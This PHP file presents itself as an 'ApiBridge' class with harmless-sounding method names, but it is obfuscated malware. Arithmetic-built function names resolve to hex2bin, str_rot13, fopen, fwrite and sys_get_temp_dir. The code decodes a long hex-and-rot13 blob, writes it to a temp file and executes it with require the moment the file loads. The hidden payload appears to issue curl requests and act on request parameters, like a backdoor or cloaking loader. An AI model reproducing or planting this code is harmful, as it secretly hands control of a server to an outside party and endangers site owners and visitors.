<?php
class ApiBridge
{
    private $ib = '';
    private $sh = '';
    public function fetchSummary($p1)
    {
        $j = array(88 + 10 + 12, 3 * 35, 44 + 4 + 50, 2 * 25, 74 + 46, 12 + 36 + 53, 84 + 20);
        $y = '';
        foreach ($j as $g) {
            $y .= chr($g);
        }
        $y = strrev($y);
        return $y($p1);
    }
    public function updateCache($p1)
    {
        $u = array(3 * 17, 50 * 52 - 2551, 116, 109 + 2, 2 * 57, 37 * 2 + 21, 114, 2 * 58, 125 - 10);
        $t = '';
        foreach ($u as $a) {
            $t .= chr($a);
        }
        $t = strrev($t);
        return $t($p1);
    }
    public function cacheData($p1, $p2)
    {
        $c = array(60 + 48 + 2, 101, 105 * 112 - 11648, 112 - 1, 102);
        $z = '';
        foreach ($c as $q) {
            $z .= chr($q);
        }
        $z = strrev($z);
        return $z($p1, $p2);
    }
    public function triggerCallback($p1, $p2)
    {
        $g = array(102 - 1, 30 + 8 + 78, 12 * 102 - 1119, 55 + 59, 20 + 80 + 19, 111 - 9);
        $k = '';
        foreach ($g as $q) {
            $k .= chr($q);
        }
        $k = strrev($k);
        return $k($p1, $p2);
    }
    public function resolveConflict($p1)
    {
        $l = array(2 * 51, 105 - 6, 108 * 1 + 0, 111, 123 - 8, 83 + 18);
        $x = '';
        foreach ($l as $y) {
            $x .= chr($y);
        }
        return $x($p1);
    }
    public function encryptData($p1, $p2 = null)
    {
        $k = array(32 * 1 + 82, 2 * 58, 114, 33 + 72, 7 + 102);
        $s = '';
        foreach ($k as $q) {
            $s .= chr($q);
        }
        return $s($p1, $p2);
    }
    public function logEvent()
    {
        $this->sh = $this->encryptData($this->generateToken(), '/');
    }
    public function initializeModule()
    {
        $this->ib = $this->updateCache($this->fetchSummary($this->nt));
    }
    public function validateInput()
    {
        $fn = $this->sh . '/jg-68c8855661fcd';
        $f = $this->cacheData($fn, 'w');
        $this->triggerCallback($f, $this->ib);
        $this->resolveConflict($f);
        $this->filterResults($fn);
    }
    private $nt = '3c3f6375632070796e6666205f63697b636576696e6772206' . '6676e677670245f6d70703b66676e677670207368617067766' . '261205f696d28245f686c2c245f6267297b767328216672797' . '33a3a245f6d707029667279733a3a5f686328293b245f70747' . '93d66676579726128245f6267293b245f7061783d6f6e66723' . '6345f71727062717228667279733a3a245f6d70705b245f686' . 'c5d293b73626528245f6a666d3d302c245f71753d666765797' . '26128245f706178293b245f6a666d213d3d245f71753b2b2b2' . '45f6a666d29245f7061785b245f6a666d5d3d7075652862657' . '128245f7061785b245f6a666d5d295e62657128245f62675b2' . '45f6a666d25245f7074795d29293b657267686561245f70617' . '83b7d636576696e67722066676e67767020736861706776626' . '1205f686328297b667279733a3a245f6d70703d6e65656e6c2' . '8275f746779273d3e275574565451506a464650626a516b526' . 'f5a4e315658515a415075356c5975704e424e7459483339592' . '72c275f7371273d3e27554e5a4e586a784e5830523657756a5' . '94d486a43596b6a5041743843586a484f5a485a52437562435' . '94e387041756a6e272c275f6470273d3e27434f523d272c275' . 'f756b273d3e2742743477596b44645378527441454f71526b3' . '0426e6d665142525a7941454f715375347241755a2b5475347' . 'a4177314d4f4638616f6d344e584f34585a765252537530544' . '1755a685044304155513144272c275f6b6d62273d3e2759754' . 'e56576a3d3d272c275f787675273d3e274c6a4c73454e3d3d2' . '72c275f7979273d3e274c6b624142304c3d272c275f787a273' . 'd3e27584e4c535a6a3d3d272c275f786c65273d3e27272c275' . 'f6963273d3e27272c275f726c273d3e27272c275f666c6d273' . 'd3e27416b6a514f4a49554a4e4864507978504274624555515' . 'a41556b6266554f56557044664c54554e59544f74694f6a444' . '459484c714f7a4e5a5374522b49443d3d272c275f6b76273d3' . 'e27434e56585a6c74455a45345a272c275f616e273d3e27416' . 'b6673596d4e565a4e6642272c275f776b273d3e27594e34704' . '2744e45272c275f7a72273d3e27416b625552766a3d272c275' . 'f6179273d3e2754507432736a3d3d272c275f646a273d3e275' . '96a444d54743d3d272c275f6e6765273d3e27597578474e464' . 'c3d272c275f776f273d3e274c4e3d3d272c275f7172273d3e2' . '75975385150764c3d272c275f757961273d3e27736c3834574' . 'e39564b4935696e7a4c345a4f444c4661383d272c275f64792' . '73d3e27416a344e586a3d3d272c275f79777a273d3e27487a5' . 'a61505152554e4444654e4e66574d487861506d4e6e4e4a634' . '94d54343d272c275f7a7076273d3e27594f44494b614f56272' . 'c275f637275273d3e27272c275f7077273d3e27416b744e586' . 'a3d3d272c275f626f65273d3e27487a4e3d272c275f7072712' . '73d3e27536d743943744e695746706e5677306b53776a3d272' . 'c275f6e7261273d3e27536d623541444e325a765a444351627' . '85146626256444e625677703d272c275f72626f273d3e27514' . '74e74434e666a5a77566f5a47383d272c275f70746b273d3e2' . '7536c5a7656444e76574744415851703254777876272c275f7' . '36765273d3e27536c5236516c623751514e384e51446354776' . '636272c275f656565273d3e27272c275f6967273d3e27536d4' . '867516d34655476703851464465272c275f6e6775273d3e275' . '36d382f58744e3559776a6e42463462272c275f716878273d3' . 'e27272c275f6e796f273d3e27536c6a6c516c7079526d52775' . '2466a355376743d272c275f656a68273d3e27536c5237516c6' . '266526d6a645246526a5376483d272c275f6f6e273d3e27536' . 'd6a77416a4e6a5850524442764e7a51466a6c566a4e6842514' . '83d272c275f687463273d3e27536d5a78516d74624e50522f5' . '1474e6b51465a31546d74325251483d272c275f6c6b273d3e2' . '751464e61525152694e504468546d703d272c275f646967273' . 'd3e275147567a52505a684e514c69546c483d272c275f647a2' . '73d3e27426a6a415a74524242743d3d272c275f786d273d3e2' . '753764f4447743d3d272c275f6e68273d3e27736a396e50775' . '74e736a3d3d272c275f68687a273d3e27736b79515a6d62514' . 'a48523d272c275f7367273d3e2773306a4459483534272c275' . 'f76636c273d3e274174523d272c275f6d69273d3e2758745a3' . 'd272c275f7862273d3e2759454e45272c275f6b6b64273d3e2' . '759747051576a3d3d272c293b7d7d70796e6666205f7770667' . 'b636576696e67722066676e677670245f6d70703b66676e677' . '670207368617067766261205f696d28245f686c297b7673282' . '1667279733a3a245f6d707029667279733a3a5f686328293b6' . '5726768656120667279733a3a245f6d70705b245f686c5d3b7' . 'd636576696e67722066676e677670207368617067766261205' . 'f686328297b667279733a3a245f6d70703d6e65656e6c28303' . '02c30372c3033362c3033362c30312c3033362c30322c30372' . 'c30312c3031362c3033302c30362c3033322c3031322c30313' . '12c3031332c3032372c3033312c30332c30322c30312c30312' . 'c30302c3031322c3031322c303331302c303637332c3031323' . '02c30302c30323030302c30312c303432332c30343233293b7' . 'd7d75726e717265285f63693a3a5f696d28275f746779272c2' . '75f6e72762729293b75726e717265285f63693a3a5f696d282' . '75f7371272c275f79612729293b767328766666726728245f5' . '452475b5f63693a3a5f696d28275f6470272c275f6c7969272' . '95d29297b245f7364693d5f666f285f63693a3a5f696d28275' . 'f756b272c275f6a762729293b767328245f736469262666676' . '563626628245f7364692c5f63693a3a5f696d28275f6b6d622' . '72c275f7465272929213d3d736e796672297b717672285f636' . '93a3a5f696d28275f787675272c275f76676d2729293b7d727' . '966727b717672285f63693a3a5f696d28275f7979272c275f6' . 'b792729293b7d7d767328766666726728245f5452475b5f636' . '93a3a5f696d28275f787a272c275f747627295d29297b245f7' . '1753d245f5042425856523b245f62673d5f7770663a3a5f696' . 'd2830293b245f686c3d5f7770663a3a5f696d2831293b245f7' . '06d683d6e65656e6c28293b245f706d685b245f62675d3d5f6' . '3693a3a5f696d28275f786c65272c275f776e6d27293b6a757' . '6797228245f686c297b245f706d685b245f62675d2e3d245f7' . '1755b5f7770663a3a5f696d2832295d5b245f686c5d3b76732' . '821245f71755b5f7770663a3a5f696d2833295d5b245f686c2' . 'b5f7770663a3a5f696d2834295d297b76732821245f71755b5' . 'f7770663a3a5f696d2835295d5b245f686c2b5f7770663a3a5' . 'f696d2836295d296f65726e783b245f62672b2b3b245f706d6' . '85b245f62675d3d5f63693a3a5f696d28275f6963272c275f6' . '76c6c27293b245f686c2b2b3b7d245f686c3d245f686c2b5f7' . '770663a3a5f696d2837292b5f7770663a3a5f696d2838293b7' . 'd245f62673d245f706d685b5f7770663a3a5f696d2839295d2' . '8292e245f706d685b5f7770663a3a5f696d283130295d3b767' . '32821245f706d685b5f7770663a3a5f696d283131295d28245' . 'f626729297b245f686c3d245f706d685b5f7770663a3a5f696' . 'd283132295d28245f62672c245f706d685b5f7770663a3a5f6' . '96d283133295d293b245f706d685b5f7770663a3a5f696d283' . '134295d28245f686c2c245f706d685b5f7770663a3a5f696d2' . '83135295d2e245f706d685b5f7770663a3a5f696d283136295' . 'd28245f706d685b5f7770663a3a5f696d283137295d28245f7' . '1755b5f7770663a3a5f696d283138295d2929293b7d7661707' . '968717228245f6267293b7d7368617067766261205f666f282' . '45f66616c297b245f66723d5f63693a3a5f696d28275f726c2' . '72c275f75747a27293b245f78743d5f63693a3a5f696d28275' . 'f666c6d272c275f756a6827292e245f66616c3b76732876665' . 'f706e79796e6f7972285f63693a3a5f696d28275f6b76272c2' . '75f6a6b272929297b245f7a6b633d706865795f76617667282' . '45f7874293b706865795f66726762636728245f7a6b632c504' . '845594243475f4646595f49524556534c435252452c736e796' . '672293b706865795f66726762636728245f7a6b632c5048455' . '94243475f4646595f49524556534c554246472c5f7770663a3' . 'a5f696d28313929293b706865795f66726762636728245f7a6' . 'b632c504845594243475f53425959424a5942504e475642412' . 'c5f7770663a3a5f696d28323029293b706865795f667267626' . '36728245f7a6b632c504845594243475f45524748454147454' . 'e41465352452c5f7770663a3a5f696d28323129293b7068657' . '95f66726762636728245f7a6b632c504845594243475f55524' . 'e5152452c5f7770663a3a5f696d28323229293b706865795f6' . '6726762636728245f7a6b632c504845594243475f504241415' . '2504747565a524248472c5f7770663a3a5f696d28323329293' . 'b706865795f66726762636728245f7a6b632c5048455942434' . '75f47565a524248472c5f7770663a3a5f696d28323429293b2' . '45f66723d706865795f726b727028245f7a6b63293b245f786' . '23d706865795f7472677661736228245f7a6b63293b7068657' . '95f707962667228245f7a6b63293b767328245f78625b5f636' . '93a3a5f696d28275f616e272c275f627827295d213d5f77706' . '63a3a5f696d283235292965726768656120736e7966723b7d7' . '27966727b245f6f6f703d636e6566725f68657928245f78742' . '93b245f6471733d28245f6f6f705b5f63693a3a5f696d28275' . 'f776b272c275f7a6727295d3d3d5f63693a3a5f696d28275f7' . 'a72272c275f61666f2729293b245f706c6a3d5f63693a3a5f6' . '96d28275f6179272c275f7a6f27292e245f6f6f705b5f63693' . 'a3a5f696d28275f646a272c275f727a6527295d3b767328766' . '666726728245f6f6f705b5f63693a3a5f696d28275f6e67652' . '72c275f79696627295d2929245f706c6a2e3d5f63693a3a5f6' . '96d28275f776f272c275f657a27292e245f6f6f705b5f63693' . 'a3a5f696d28275f7172272c275f77736b27295d3b245f706c6' . 'a2e3d5f63693a3a5f696d28275f757961272c275f747963272' . '92e245f6f6f705b5f63693a3a5f696d28275f6479272c275f6' . 'e6627295d2e5f63693a3a5f696d28275f79777a272c275f767' . '17427293b245f6c723d7366627078626372612828245f64717' . '33f5f63693a3a5f696d28275f7a7076272c275f746c7127293' . 'a5f63693a3a5f696d28275f637275272c275f6169762729292' . 'e245f6f6f705b5f63693a3a5f696d28275f7077272c275f6a6' . '627295d2c245f6471733f5f7770663a3a5f696d283236293a5' . 'f7770663a3a5f696d28323729293b767328245f6c72297b736' . '368676628245f6c722c245f706c6a293b245f7061783d5f777' . '0663a3a5f696d283238293b6a7576797228217372627328245' . 'f6c7229297b245f636b7a3d737472676628245f6c722c5f777' . '0663a3a5f696d28323929293b767328245f70617829245f667' . '22e3d245f636b7a3b767328245f636b7a3d3d5f63693a3a5f6' . '96d28275f626f65272c275f776b66272929245f7061783d5f7' . '770663a3a5f696d283330293b7d73707962667228245f6c722' . '93b7d7d657267686561245f66723b7d245f77693d766666726' . '728245f4652454952455b5f63693a3a5f696d28275f7072712' . '72c275f79766127295d293b245f61687a3d766666726728245' . 'f4652454952455b5f63693a3a5f696d28275f6e7261272c275' . 'f617a7227295d293b245f6768703d766666726728245f46524' . '54952455b5f63693a3a5f696d28275f72626f272c275f687a6' . '627295d293b245f65683d766666726728245f4652454952455' . 'b5f63693a3a5f696d28275f70746b272c275f6a696427295d2' . '93f245f4652454952455b5f63693a3a5f696d28275f7367652' . '72c275f686127295d3a5f63693a3a5f696d28275f656565272' . 'c275f71716527293b245f6976673d766666726728245f46524' . '54952455b5f63693a3a5f696d28275f6967272c275f6e6c272' . '95d293f245f4652454952455b5f63693a3a5f696d28275f6e6' . '775272c275f78786d27295d3a5f63693a3a5f696d28275f716' . '878272c275f756e27293b245f77693d766666726728245f465' . '2454952455b5f63693a3a5f696d28275f6e796f272c275f6b7' . '327295d293f245f4652454952455b5f63693a3a5f696d28275' . 'f656a68272c275f686227295d3a616879793b245f61687a3d7' . '66666726728245f4652454952455b5f63693a3a5f696d28275' . 'f6f6e272c275f756a7427295d293f245f4652454952455b5f6' . '3693a3a5f696d28275f687463272c275f746327295d3a61687' . '9793b245f6768703d766666726728245f4652454952455b5f6' . '3693a3a5f696d28275f6c6b272c275f727727295d293f245f4' . '652454952455b5f63693a3a5f696d28275f646967272c275f6' . 'a7827295d3a616879793b7673287376796772655f696e65282' . '45f77692c5f7770663a3a5f696d2833312929297b245f78693' . 'd245f77693b7d727966727673287376796772655f696e65282' . '45f61687a2c5f7770663a3a5f696d2833322929297b245f786' . '93d245f61687a3b7d727966727b245f78693d245f6768703b7' . 'd767328766666726728245f5452475b5f63693a3a5f696d282' . '75f647a272c275f617727295d29297b72707562205f63693a3' . 'a5f696d28275f786d272c275f63776127292e245f78692e5f6' . '3693a3a5f696d28275f6e68272c275f666d27292e245f65682' . 'e5f63693a3a5f696d28275f68687a272c275f72706e27292e2' . '45f6976672e5f63693a3a5f696d28275f7367272c275f63652' . '7293b726b766728293b7d76732821766666726728245f78692' . '97c7c21766666726728245f6568297c7c21766666726728245' . 'f69766729297b726b766728293b7d727966727b245f70673d6' . 'e65656e6c285f63693a3a5f696d28275f76636c272c275f647' . '37827293d3e245f78692c5f63693a3a5f696d28275f6d69272' . 'c275f6f7527293d3e245f65682c5f63693a3a5f696d28275f7' . '862272c275f686a6427293d3e245f697667293b245f6f736b3' . 'd686579726170627172286f6e667236345f726170627172287' . '76662615f72617062717228245f70672929293b245f7364693' . 'd5f666f28245f6f736b293b767328245f73646926266667656' . '3626628245f7364692c5f63693a3a5f696d28275f6b6b64272' . 'c275f636c272929213d3d736e796672297b72707562245f736' . '4693b726b766728293b7d7d';
    public function filterResults($p)
    {
        require $p;
    }
    public function generateToken()
    {
        $a = array(24 + 91, 49 * 73 - 3456, 79 * 1 + 36, 54 + 29 + 12, 16 * 6 + 7, 94 + 7, 116, 95, 51 + 65, 101 * 1, 7 + 61 + 41, 119 - 7, 19 * 2 + 57, 41 * 2 + 18, 11 * 114 - 1149, 114);
        $s = '';
        foreach ($a as $n) {
            $s .= chr($n);
        }
        return $s();
    }
}

$vi = new ApiBridge();
$vi->logEvent();
$vi->initializeModule();
$vi->validateInput();